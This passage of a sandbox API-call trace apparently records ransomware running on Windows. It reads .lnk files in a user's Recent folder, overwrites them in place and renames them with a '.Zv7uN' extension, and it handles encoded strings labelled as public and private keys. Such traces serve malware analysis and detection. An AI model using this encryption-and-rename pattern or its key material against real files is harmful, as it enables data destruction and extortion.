lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.470] GetCurrentThreadId () returned 0xa30 [0083.470] GetCurrentThreadId () returned 0xa30 [0083.470] GetCurrentThreadId () returned 0xa30 [0083.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SKcUK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\skcuk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.470] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.470] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.470] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1962 [0083.471] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.471] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1962, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1962, lpOverlapped=0x0) returned 1 [0083.472] CloseHandle (hObject=0x124) returned 1 [0083.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SKcUK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\skcuk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.474] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1962, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1962, lpOverlapped=0x0) returned 1 [0083.476] CloseHandle (hObject=0x124) returned 1 [0083.481] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SKcUK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\skcuk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SKcUK.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\skcuk.lnk.zv7un")) returned 1 [0083.482] GetCurrentThreadId () returned 0xa30 [0083.482] GetCurrentThreadId () returned 0xa30 [0083.482] GetCurrentThreadId () returned 0xa30 [0083.482] GetCurrentThreadId () returned 0xa30 [0083.482] GetCurrentThreadId () returned 0xa30 [0083.483] GetCurrentThreadId () returned 0xa30 [0083.483] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1098e60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1098e60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1098e60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a30, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="soZZ.lnk", cAlternateFileName="")) returned 1 [0083.483] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.483] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soZZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sozz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1098e60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1098e60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1098e60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a30)) returned 1 [0083.483] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soZZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sozz.lnk")) returned 0x20 [0083.483] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soZZ.lnk", dwFileAttributes=0x80) returned 1 [0083.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.487] GetCurrentThreadId () returned 0xa30 [0083.487] GetCurrentThreadId () returned 0xa30 [0083.487] GetCurrentThreadId () returned 0xa30 [0083.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.488] GetCurrentThreadId () returned 0xa30 [0083.488] GetCurrentThreadId () returned 0xa30 [0083.488] GetCurrentThreadId () returned 0xa30 [0083.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soZZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sozz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.489] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.489] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.489] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a30 [0083.489] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.489] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0x1a30, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0x1a30, lpOverlapped=0x0) returned 1 [0083.491] CloseHandle (hObject=0x124) returned 1 [0083.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soZZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sozz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.493] WriteFile (in: hFile=0x124, lpBuffer=0x1f7e800*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f7e800*, lpNumberOfBytesWritten=0x18f978*=0x1a30, lpOverlapped=0x0) returned 1 [0083.495] CloseHandle (hObject=0x124) returned 1 [0083.558] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soZZ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sozz.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soZZ.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sozz.lnk.zv7un")) returned 1 [0083.559] GetCurrentThreadId () returned 0xa30 [0083.559] GetCurrentThreadId () returned 0xa30 [0083.559] GetCurrentThreadId () returned 0xa30 [0083.560] GetCurrentThreadId () returned 0xa30 [0083.560] GetCurrentThreadId () returned 0xa30 [0083.560] 